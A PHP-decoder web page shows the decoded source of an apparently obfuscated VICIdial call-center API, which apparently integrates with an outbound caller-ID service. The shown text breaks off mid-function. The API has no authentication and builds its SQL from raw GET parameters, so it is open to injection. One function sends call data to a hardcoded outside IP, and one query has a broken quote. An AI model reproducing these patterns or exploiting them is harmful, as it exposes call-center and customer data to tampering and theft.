Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* This computer code is protected by intellectual property laws and its property of..

Decoded Output download


if (!isset($_GET['function']))
{
echo '{"result" : "FAIL", "reason" : "not authorized"}';
exit();
}
$function = $_GET['function'];
$array_functions = array('outboundani_get_inventory',
'outboundani_get_campaigns',
'outboundani_get_statuses',
'outboundani_update_outboundani',
'outboundani_create_inventory_ingroup',
'outboundani_create_unassigned_ingroup',
'outboundani_count_matching_records',
'outboundani_get_dids_from_ingroup',
'outboundani_add_dids_to_ingroup',
'outboundani_remove_dids_from_ingroup',
'outboundani_configure_campaign_disposition_url',
'outboundani_configure_campaign_disposition_url_v2',
'outboundani_enable_ani_selection',
'outboundani_get_lists',
'outboundani_get_contact_fields',
'outboundani_process_dispo_url',
'outboundani_get_refresh_file',
'outboundani_get_version',
'outboundani_get_hopper',
'outboundani_update_security_phrase'
);
if (!in_array($function,$array_functions))
{
echo '{"result" : "FAIL", "reason" : "function does not exist"}';
exit();
}
require_once("../agc/dbconnect_mysqli.php");
require_once("../agc/functions.php");
if ($function == 'outboundani_get_inventory')
{
$return_json = '{"security_phrase_anis":[';
$step01 = "";
$sql = "SELECT list_id,security_phrase FROM vicidial_list WHERE security_phrase != '' and security_phrase is not null group by list_id,security_phrase";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$list_id            = $result['list_id'];
$security_phrase    = $result['security_phrase'];
$security_phrase = str_replace("+1","",$security_phrase);
if (strlen($security_phrase) == 10)
$step01 = $step01 .'{"list_id":"'.$list_id.'","security_phrase":"'.$security_phrase.'"},';
}
$step01 = trim($step01,",");
$return_json = $return_json .$step01.'],"list_level_anis":[';
$step02 = "";
$sql = "SELECT list_id,campaign_cid_override FROM vicidial_lists WHERE campaign_cid_override != '' and campaign_cid_override is not null group by list_id,campaign_cid_override";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$list_id                    = $result['list_id'];
$campaign_cid_override      = $result['campaign_cid_override'];
$campaign_cid_override = str_replace("+1","",$campaign_cid_override);
if (strlen($campaign_cid_override) == 10)
$step02 = $step02 .'{"list_id":"'.$list_id.'","campaign_cid_override":"'.$campaign_cid_override.'"},';
}
$step02 = trim($step02,",");
$return_json = $return_json .$step02.'],"campaign_level_accid_anis": [';
$step03 = "";
$sql = "SELECT campaign_id,areacode,outbound_cid,active,count(*)
    FROM vicidial_campaign_cid_areacodes WHERE outbound_cid != '' and outbound_cid is not null and campaign_id in (select campaign_id from vicidial_campaigns) group by campaign_id,areacode,outbound_cid";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$campaign_id                = $result['campaign_id'];
$areacode                   = $result['areacode'];
$outbound_cid               = $result['outbound_cid'];
$active                     = $result['active'];
$outbound_cid = str_replace("+1","",$outbound_cid);
if (strlen($outbound_cid) == 10)
$step03 = $step03 .'{"campaign_id": "'.$campaign_id.'","areacode": "'.$areacode.'","outbound_cid": "'.$outbound_cid.'","active": "'.$active.'"},';
}
$step03 = trim($step03,",");
$return_json = $return_json .$step03.'],"dialer_level_cid_anis": [';
$step04 = "";
$sql = "SELECT campaign_id,areacode,outbound_cid,active,count(*)
    FROM vicidial_campaign_cid_areacodes where outbound_cid != '' and outbound_cid is not null and campaign_id in (select cid_group_id from vicidial_cid_groups) group by campaign_id,areacode,outbound_cid";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$campaign_id                = $result['campaign_id'];
$areacode                   = $result['areacode'];
$outbound_cid               = $result['outbound_cid'];
$active                     = $result['active'];
$outbound_cid = str_replace("+1","",$outbound_cid);
if (strlen($outbound_cid) == 10)
$step04 = $step04 .'{"campaign_id": "'.$campaign_id.'","areacode": "'.$areacode.'","outbound_cid": "'.$outbound_cid.'","active": "'.$active.'"},';
}
$step04 = trim($step04,",");
$return_json = $return_json .$step04.'],"inbound_dids": [';
$step05 = "";
$sql = "SELECT IFNULL(group_id,'') as group_id,did_pattern,count(*)
    FROM vicidial_inbound_dids WHERE did_pattern != 'default' and did_pattern != '' and did_pattern is not null group by IFNULL(group_id,''),did_pattern";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$group_id                = $result['group_id'];
$did_pattern             = $result['did_pattern'];
$did_pattern = str_replace("+1","",$did_pattern);
if (strlen($did_pattern) == 10)
$step05 = $step05 .'{"group_id": "'.$group_id.'","did_pattern": "'.$did_pattern.'"},';
}
$step05 = trim($step05,",");
$return_json = $return_json .$step05.']}';
echo $return_json;
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_campaigns')
{
$inbound_groups = array();
$sql = "SELECT * FROM vicidial_inbound_groups";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
$group_id = $result['group_id'];
$vicidial_inbound_dids = array();
$sql1 = "SELECT * FROM vicidial_inbound_dids WHERE group_id='$group_id'";
$stid1 = mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
while ($result1 = mysqli_fetch_assoc($stid1))
{
array_push($vicidial_inbound_dids,$result1);
}
$result = array_merge($result,array("inbound_dids"=>$vicidial_inbound_dids));
array_push($inbound_groups,$result);
}
$final_array = array("inbound_groups"=>$inbound_groups);
$outbound_campaigns = array();
$sql = "SELECT * FROM vicidial_campaigns";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($outbound_campaigns,$result);
}
$final_array = array_merge($final_array,array("outbound_campaigns"=>$outbound_campaigns));
echo json_encode($final_array);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_statuses')
{
$statuses = array();
$sql = "SELECT * FROM vicidial_statuses";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($statuses ,$result);
}
$final_array = array("statuses"=>$statuses);
$campaign_statuses = array();
$sql = "SELECT * FROM vicidial_campaign_statuses";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($campaign_statuses,$result);
}
$final_array = array_merge($final_array,array("campaign_statuses"=>$campaign_statuses));
echo json_encode($final_array);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_update_outboundani')
{
if (!isset($_GET['newani']))
{
echo '{"result" : "FAIL", "reason" : "newani missing"}';
exit();
}
if (!isset($_GET['oldani']))
{
echo '{"result" : "FAIL", "reason" : "oldani missing"}';
exit();
}
$newani = $_GET['newani'];
$oldani = $_GET['oldani'];
$oldcondition = " = '$oldani' ";
if (empty($oldani))
$oldcondition = " is null ";
$newcondition = " = '$newani' ";
if (empty($newani))
$newcondition = " = null ";
$sql = "UPDATE vicidial_list SET security_phrase $newcondition WHERE security_phrase $oldcondition";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
$total_records = mysqli_affected_rows($link);
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_create_inventory_ingroup')
{
if (!isset($_GET['name']))
{
echo '{"result" : "FAIL", "reason" : "name missing"}';
exit();
}
if (!isset($_GET['description']))
{
echo '{"result" : "FAIL", "reason" : "description missing"}';
exit();
}
$name           = $_GET['name'];
$description    = $_GET['description'];
if (empty($name))
{
echo '{"result" : "FAIL", "reason" : "blank name"}';
exit();
}
if (empty($description))
{
echo '{"result" : "FAIL", "reason" : "blank description"}';
exit();
}
$sql = "SELECT * FROM vicidial_inbound_groups WHERE group_id='$name'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if (!$result = mysqli_fetch_assoc($stid))
{
$sql1 = "INSERT INTO vicidial_inbound_groups
    (
    queue_priority,
    hold_time_option_minimum,
    calculate_estimated_hold_seconds,
    max_calls_count,
    waiting_call_count,
    no_agent_delay,
    timer_action_seconds,
    hold_time_option_prompt_seconds,
    wait_time_option_prompt_seconds,
    eht_minimum_prompt_seconds,
    areacode_filter_seconds,
    cid_cb_valid_length,
    agent_alert_delay,
    wait_time_option_seconds,
    on_hook_ring_time,
    answer_sec_pct_rt_stat_one,
    call_time_id,
    icbq_call_time_id,
    qc_shift_id,
    group_id,
    group_name,
    answer_sec_pct_rt_stat_two,
    drop_call_seconds,
    hold_time_option_seconds,
    browser_alert_volume,
    prompt_interval,
    after_hours_exten,
    hold_time_option_exten,
    wait_time_option_exten,
    closing_time_option_exten,
    drop_exten,
    onhold_prompt_seconds,
    icbq_expiration_hours,
    hold_time_option_callback_list_id,
    wait_time_option_callback_list_id,
    closing_time_option_callback_list_id,
    user_group,
    play_welcome_message,
    action_xfer_cid,
    moh_context,
    customer_chat_screen_colors,
    agent_alert_exten,
    ingroup_recording_override,
    uniqueid_status_display,
    max_calls_method,
    populate_lead_province,
    areacode_filter,
    populate_state_areacode,
    inbound_survey,
    closing_time_action,
    populate_lead_source,
    populate_lead_ingroup,
    group_color,
    on_hook_cid,
    onhold_prompt_filename,
    populate_lead_vendor,
    drop_action,
    after_hours_action,
    no_agent_action,
    areacode_filter_action,
    active,
    qc_enabled,
    play_place_in_line,
    play_estimate_hold_time,
    no_delay_call_route,
    no_agent_no_queue,
    ignore_list_script_override,
    extension_appended_cidname,
    hold_time_option_no_block,
    onhold_prompt_no_block,
    wait_time_option_no_block,
    eht_minimum_prompt_no_block,
    drop_lead_reset,
    after_hours_lead_reset,
    nanq_lead_reset,
    wait_time_lead_reset,
    hold_time_lead_reset,
    closing_time_now_trigger,
    closing_time_lead_reset,
    no_agent_action_value,
    areacode_filter_action_value,
    cid_cb_confirm_number,
    max_calls_action,
    get_call_launch,
    ingroup_rec_filename,
    qc_get_record_launch,
    hold_time_option,
    timer_action,
    hold_time_second_option,
    hold_time_third_option,
    wait_time_option,
    wait_time_second_option,
    wait_time_third_option,
    icbq_dial_filter,
    welcome_message_filename,
    default_xfer_group,
    drop_inbound_group,
    afterhours_xfer_group,
    hold_time_option_xfer_group,
    hold_recall_xfer_group,
    wait_time_option_xfer_group,
    closing_time_option_xfer_group,
    browser_alert_sound,
    group_handling,
    next_agent_call,
    add_lead_timezone,
    answer_signal,
    hold_time_option_press_filename,
    wait_time_option_press_filename,
    after_hours_message_filename,
    hold_time_option_callback_filename,
    wait_time_option_callback_filename,
    wait_hold_option_priority,
    fronter_display,
    qc_show_recording,
    routing_initiated_recordings
    )
    VALUES
    (
    0,
    0,
    0,
    0,
    0,
    0,
    -1,
    10,
    10,
    10,
    10,
    10,
    1000,
    120,
    15,
    20,
    '24hours',
    '24hours',
    '24HRMIDNIGHT',
    '$name',
    '$description',
    30,
    360,
    360,
    50,
    60,
    8300,
    8300,
    8300,
    8300,
    8307,
    9,
    96,
    999,
    999,
    999,
    '---ALL---',
    'ALWAYS',
    'CUSTOMER',
    'default',
    'default',
    'ding',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'ENABLED',
    'FFFFFF',
    'GENERIC',
    'generic_hold',
    'INBOUND_NUMBER',
    'MESSAGE',
    'MESSAGE',
    'MESSAGE',
    'MESSAGE',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'nbdy-avail-to-take-call|vm-goodbye',
    'nbdy-avail-to-take-call|vm-goodbye',
    'NO',
    'NO_AGENT_NO_QUEUE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    'PHONE',
    'random',
    'SERVER',
    'START',
    'to-be-called-back|digits/1',
    'to-be-called-back|digits/1',
    'vm-goodbye',
    'vm-hangup',
    'vm-hangup',
    'WAIT',
    'Y',
    'Y',
    'Y'
    )";
mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
}
$sql = "SELECT * FROM vicidial_inbound_groups WHERE group_id='$name'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
echo json_encode($result);
}
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_create_unassigned_ingroup')
{
if (!isset($_GET['name']))
{
echo '{"result" : "FAIL", "reason" : "name missing"}';
exit();
}
if (!isset($_GET['description']))
{
echo '{"result" : "FAIL", "reason" : "description missing"}';
exit();
}
$name           = $_GET['name'];
$description    = $_GET['description'];
if (empty($name))
{
echo '{"result" : "FAIL", "reason" : "blank name"}';
exit();
}
if (empty($description))
{
echo '{"result" : "FAIL", "reason" : "blank description"}';
exit();
}
$sql = "SELECT * FROM vicidial_inbound_groups WHERE group_id='$name'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if (!$result = mysqli_fetch_assoc($stid))
{
$sql1 = "INSERT INTO vicidial_inbound_groups
    (
    queue_priority,
    hold_time_option_minimum,
    calculate_estimated_hold_seconds,
    max_calls_count,
    waiting_call_count,
    no_agent_delay,
    timer_action_seconds,
    hold_time_option_prompt_seconds,
    wait_time_option_prompt_seconds,
    eht_minimum_prompt_seconds,
    areacode_filter_seconds,
    cid_cb_valid_length,
    agent_alert_delay,
    wait_time_option_seconds,
    on_hook_ring_time,
    answer_sec_pct_rt_stat_one,
    call_time_id,
    icbq_call_time_id,
    qc_shift_id,
    group_id,
    group_name,
    answer_sec_pct_rt_stat_two,
    drop_call_seconds,
    hold_time_option_seconds,
    browser_alert_volume,
    prompt_interval,
    after_hours_exten,
    hold_time_option_exten,
    wait_time_option_exten,
    closing_time_option_exten,
    drop_exten,
    onhold_prompt_seconds,
    icbq_expiration_hours,
    hold_time_option_callback_list_id,
    wait_time_option_callback_list_id,
    closing_time_option_callback_list_id,
    user_group,
    play_welcome_message,
    action_xfer_cid,
    moh_context,
    customer_chat_screen_colors,
    agent_alert_exten,
    ingroup_recording_override,
    uniqueid_status_display,
    max_calls_method,
    populate_lead_province,
    areacode_filter,
    populate_state_areacode,
    inbound_survey,
    closing_time_action,
    populate_lead_source,
    populate_lead_ingroup,
    group_color,
    on_hook_cid,
    onhold_prompt_filename,
    populate_lead_vendor,
    drop_action,
    after_hours_action,
    no_agent_action,
    areacode_filter_action,
    active,
    qc_enabled,
    play_place_in_line,
    play_estimate_hold_time,
    no_delay_call_route,
    no_agent_no_queue,
    ignore_list_script_override,
    extension_appended_cidname,
    hold_time_option_no_block,
    onhold_prompt_no_block,
    wait_time_option_no_block,
    eht_minimum_prompt_no_block,
    drop_lead_reset,
    after_hours_lead_reset,
    nanq_lead_reset,
    wait_time_lead_reset,
    hold_time_lead_reset,
    closing_time_now_trigger,
    closing_time_lead_reset,
    no_agent_action_value,
    areacode_filter_action_value,
    cid_cb_confirm_number,
    max_calls_action,
    get_call_launch,
    ingroup_rec_filename,
    qc_get_record_launch,
    hold_time_option,
    timer_action,
    hold_time_second_option,
    hold_time_third_option,
    wait_time_option,
    wait_time_second_option,
    wait_time_third_option,
    icbq_dial_filter,
    welcome_message_filename,
    default_xfer_group,
    drop_inbound_group,
    afterhours_xfer_group,
    hold_time_option_xfer_group,
    hold_recall_xfer_group,
    wait_time_option_xfer_group,
    closing_time_option_xfer_group,
    browser_alert_sound,
    group_handling,
    next_agent_call,
    add_lead_timezone,
    answer_signal,
    hold_time_option_press_filename,
    wait_time_option_press_filename,
    after_hours_message_filename,
    hold_time_option_callback_filename,
    wait_time_option_callback_filename,
    wait_hold_option_priority,
    fronter_display,
    qc_show_recording,
    routing_initiated_recordings
    )
    VALUES
    (
    0,
    0,
    0,
    0,
    0,
    0,
    -1,
    10,
    10,
    10,
    10,
    10,
    1000,
    120,
    15,
    20,
    '24hours',
    '24hours',
    '24HRMIDNIGHT',
    '$name',
    '$description',
    30,
    360,
    360,
    50,
    60,
    8300,
    8300,
    8300,
    8300,
    8307,
    9,
    96,
    999,
    999,
    999,
    '---ALL---',
    'ALWAYS',
    'CUSTOMER',
    'default',
    'default',
    'ding',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'DISABLED',
    'ENABLED',
    'FFFFFF',
    'GENERIC',
    'generic_hold',
    'INBOUND_NUMBER',
    'MESSAGE',
    'MESSAGE',
    'MESSAGE',
    'MESSAGE',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'N',
    'nbdy-avail-to-take-call|vm-goodbye',
    'nbdy-avail-to-take-call|vm-goodbye',
    'NO',
    'NO_AGENT_NO_QUEUE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    'NONE',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    '---NONE---',
    'PHONE',
    'random',
    'SERVER',
    'START',
    'to-be-called-back|digits/1',
    'to-be-called-back|digits/1',
    'vm-goodbye',
    'vm-hangup',
    'vm-hangup',
    'WAIT',
    'Y',
    'Y',
    'Y'
    )";
mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
}
$sql = "SELECT * FROM vicidial_inbound_groups WHERE group_id='$name'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
echo json_encode($result);
}
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_count_matching_records')
{
if (!isset($_GET['ani']))
{
echo '{"result" : "FAIL", "reason" : "ani missing"}';
exit();
}
$ani = $_GET['ani'];
$condition = " ='$ani' ";
if (empty($ani))
$condition = " is null ";
$totani = 0;
$sql = "SELECT count(lead_id) as totani FROM vicidial_list WHERE security_phrase  $condition";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
$totani = $result['totani'];
}
echo '{"result" : "SUCCESS", "total_records" : "'.$totani.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_dids_from_ingroup')
{
if (!isset($_GET['ingroup']))
{
echo '{"result" : "FAIL", "reason" : "ingroup missing"}';
exit();
}
$ingroup           = $_GET['ingroup'];
if (empty($ingroup))
{
echo '{"result" : "FAIL", "reason" : "blank ingroup"}';
exit();
}
$did_pattern = array();
$sql = "SELECT distinct(did_pattern) as did_pattern from vicidial_inbound_dids where group_id = '$ingroup'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($did_pattern ,$result['did_pattern']);
}
echo json_encode($did_pattern);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_add_dids_to_ingroup')
{
if (!isset($_GET['ingroup']))
{
echo '{"result" : "FAIL", "reason" : "ingroup missing"}';
exit();
}
if (!isset($_GET['phone']))
{
echo '{"result" : "FAIL", "reason" : "phone missing"}';
exit();
}
$ingroup           = $_GET['ingroup'];
$phone    = $_GET['phone'];
if (empty($ingroup))
{
echo '{"result" : "FAIL", "reason" : "blank ingroup"}';
exit();
}
if (empty($phone))
{
echo '{"result" : "FAIL", "reason" : "blank phone"}';
exit();
}
$sql = "UPDATE vicidial_inbound_dids SET group_id = '$ingroup' where did_pattern = '$phone'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
$total_records = mysqli_affected_rows($link);
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_remove_dids_from_ingroup')
{
if (!isset($_GET['ingroup']))
{
echo '{"result" : "FAIL", "reason" : "ingroup missing"}';
exit();
}
if (!isset($_GET['phone']))
{
echo '{"result" : "FAIL", "reason" : "phone missing"}';
exit();
}
$ingroup           = $_GET['ingroup'];
$phone    = $_GET['phone'];
if (empty($ingroup))
{
echo '{"result" : "FAIL", "reason" : "blank ingroup"}';
exit();
}
if (empty($phone))
{
echo '{"result" : "FAIL", "reason" : "blank phone"}';
exit();
}
$sql = "UPDATE vicidial_inbound_dids SET group_id = NULL where did_pattern = $phone' and group_id = '$ingroup'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
$total_records = mysqli_affected_rows($link);
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_configure_campaign_disposition_url')
{
if (!isset($_GET['campaign_id']))
{
echo '{"result" : "FAIL", "reason" : "campaign_id missing"}';
exit();
}
if (!isset($_GET['disposition_url']))
{
echo '{"result" : "FAIL", "reason" : "disposition_url missing"}';
exit();
}
$campaign_id           = $_GET['campaign_id'];
$disposition_url    = $_GET['disposition_url'];
if (empty($campaign_id))
{
echo '{"result" : "FAIL", "reason" : "blank campaign_id"}';
exit();
}
if (empty($disposition_url))
{
echo '{"result" : "FAIL", "reason" : "blank disposition_url"}';
exit();
}
$sql = "SELECT dispo_call_url FROM vicidial_campaigns WHERE campaign_id = '$campaign_id' and dispo_call_url <> null";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
echo '{"result" : "FAIL", "reason" : "disposition_url already exists"}';
exit();
}
$sql = "UPDATE vicidial_campaigns SET dispo_call_url = '$disposition_url' where campaign_id = '$campaign_id'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
$total_records = mysqli_affected_rows($link);
$sql = "UPDATE vicidial_campaigns SET na_call_url = '$disposition_url' WHERE campaign_id = '$campaign_id'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_configure_campaign_disposition_url_v2')
{
if (!isset($_GET['campaign_id']))
{
echo '{"result" : "FAIL", "reason" : "campaign_id missing"}';
exit();
}
if (!isset($_GET['disposition_url']))
{
echo '{"result" : "FAIL", "reason" : "disposition_url missing"}';
exit();
}
$campaign_id           = $_GET['campaign_id'];
$disposition_url    = $_GET['disposition_url'];
if (empty($campaign_id))
{
echo '{"result" : "FAIL", "reason" : "blank campaign_id"}';
exit();
}
if (empty($disposition_url))
{
echo '{"result" : "FAIL", "reason" : "blank disposition_url"}';
exit();
}
$sql = "SELECT * FROM vicidial_url_multi WHERE campaign_id = '$campaign_id' and (url_description = 'outboundANI' or url_address like '%app.outboundani.com%')";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
$url_id = $result['url_id'];
$vicidial_inbound_dids = array();
$sql1 = "UPDATE vicidial_url_multi SET active = 'Y', url_address = '$disposition_url', url_description = 'outboundANI' WHERE url_id = '$url_id'";
mysqli_query($link,$sql1) or die('I could not select query because:'.mysqli_error($link));
$total_records = '1';
}
else
{
$dispo_call_url_orig = "";
$sql2 = "SELECT  dispo_call_url  from  vicidial_campaigns  WHERE  campaign_id = '$campaign_id'";
$stid2 = mysqli_query($link,$sql2) or die('I could not select query because:'.mysqli_error($link));
if ($result2 = mysqli_fetch_assoc($stid2))
{
$dispo_call_url = $result2['dispo_call_url'];
$dispo_call_url_orig = $dispo_call_url;
}
$sql3 = "UPDATE vicidial_campaigns SET dispo_call_url  = 'ALT' WHERE campaign_id = '$campaign_id'";
mysqli_query($link,$sql3) or die('I could not select query because:'.mysqli_error($link));
$url_rank = 0;
$sql4 = "SELECT max(url_rank) AS url_rank from vicidial_url_multi where campaign_id = '$campaign_id'";
$stid4 = mysqli_query($link,$sql4) or die('I could not select query because:'.mysqli_error($link));
if ($result4 = mysqli_fetch_assoc($stid4))
{
$url_rank = $result4['url_rank']+0;
}
$url_rank = $url_rank+1;
$sql5 ="INSERT INTO vicidial_url_multi
        (
        campaign_id,
        entry_type,
        active,
        url_type,
        url_rank,
        url_statuses,
        url_description,
        url_address,
        url_lists
        )
        VALUES
        (
        '$campaign_id',
        'campaign',
        'Y',
        'dispo',
        $url_rank,
        '---ALL---',
        'outboundANI',
        '$disposition_url',
        ''
        )";
mysqli_query($link,$sql5) or die('I could not select query because:'.mysqli_error($link));
$total_records = '2';
$url_rank = $url_rank+1;
if (!empty($dispo_call_url_orig) and $dispo_call_url_orig<>'ALT')
{
$sql6 ="INSERT INTO vicidial_url_multi
                (
                campaign_id,
                entry_type,
                active,
                url_type,
                url_rank,
                url_statuses,
                url_description,
                url_address,
                url_lists
                )
                VALUES
                (
                '$campaign_id',
                'campaign',
                'Y',
                'dispo',
                $url_rank,
                '---ALL---',
                '**OBANI - ORIGINALLY IN PLACE**',
                '$dispo_call_url_orig',
                ''
                )";
mysqli_query($link,$sql6) or die('I could not select query because:'.mysqli_error($link));
$total_records = '3';
}
}
$disposition_url = str_replace("--A--dispo--B--","--A--status--B--",$disposition_url);
$sql = "UPDATE vicidial_campaigns SET na_call_url = '$disposition_url' WHERE campaign_id = '$campaign_id'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_enable_ani_selection')
{
if (!isset($_GET['campaign_id']))
{
echo '{"result" : "FAIL", "reason" : "campaign_id missing"}';
exit();
}
$campaign_id           = $_GET['campaign_id'];
if (empty($campaign_id))
{
echo '{"result" : "FAIL", "reason" : "blank campaign_id"}';
exit();
}
$sql = "UPDATE vicidial_campaigns SET use_custom_cid = 'Y' where campaign_id = '$campaign_id'";
mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
$total_records = mysqli_affected_rows($link);
echo '{"result" : "SUCCESS", "affected_rows" : "'.$total_records.'"}';
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_lists')
{
$lists = array();
$sql = "SELECT * from vicidial_lists";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($lists ,$result);
}
$final_array = array("vicidial_lists"=>$lists);
echo json_encode($final_array);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_contact_fields')
{
$fields = array();
$sql = "SELECT * from vicidial_lists_fields";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($fields ,$result);
}
$final_array = array("vicidial_lists_fields"=>$fields);
echo json_encode($final_array);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_get_contact_fields')
{
$fields = array();
$sql = "SELECT * from vicidial_lists_fields";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
while ($result = mysqli_fetch_assoc($stid))
{
array_push($fields ,$result);
}
$final_array = array("vicidial_lists_fields"=>$fields);
echo json_encode($final_array);
mysqli_close($link);
http_response_code(200);
}
if ($function == 'outboundani_process_dispo_url')
{
$ani_field = "";
$unique_id_field = "";
foreach ($_GET as $key=>$value)
{
if ($key == '2e2562ec-1c3b-4366-aaf4-35099cbdf4ae')
$ani_field = $value;
if ($key == '3a58c96f-d231-4731-aae6-59c3b9c9d645')
$unique_id_field = $value;
}
if (empty($ani_field))
{
echo '{"result" : "FAIL", "reason" : "ani_field not informed"}';
exit();
}
if (empty($unique_id_field))
{
echo '{"result" : "FAIL", "reason" : "unique_id_field not informed"}';
exit();
}
$get_vars_string = "";
$unique_id = "";
$lead_id   = "";
$ani       = "OUTBOUNDANI";
foreach ($_GET as $key=>$value)
{
if ($key == $unique_id_field)
{
$unique_id = $value;
}
if ($key == $ani_field)
{
$lead_id = $value;
$value   = 'OUTBOUNDANI';
}
if ($key <>'2e2562ec-1c3b-4366-aaf4-35099cbdf4ae'
and $key <>'3a58c96f-d231-4731-aae6-59c3b9c9d645')
$get_vars_string = $get_vars_string .'&'.$key ."=".urlencode($value);
}
$get_vars_string = trim($get_vars_string,"&");
$sql = "SELECT outbound_cid FROM vicidial_dial_log WHERE lead_id=$lead_id and caller_code='$unique_id'";
$stid = mysqli_query($link,$sql) or die('I could not select query because:'.mysqli_error($link));
if ($result = mysqli_fetch_assoc($stid))
{
$outbound_cid       = $result['outbound_cid'];
$outbound_cid       = strstr($outbound_cid,"<");
$outbound_cid       = str_replace(array("<",">"),"",$outbound_cid);
$ani                = $outbound_cid;
}
$get_vars_string = str_replace("OUTBOUNDANI",$ani,$get_vars_string);
mysqli_close($link);
http_response_code(200);
$submiturl = "http://119.9.94.214/app_outboundani_com/api/595F21A2-84D1-4984-818E-3758A8485CC8.php?$get_vars_string";
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$submiturl);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
$response = curl_exec ($ch);
curl_close ($ch);
}
if ($function == 'outboundani_get_refresh_file')
{
$start_date  = $_GET['start_date'];
$campaign    = $_GET['campaign'];
$statuses    = $_GET['statuses'];
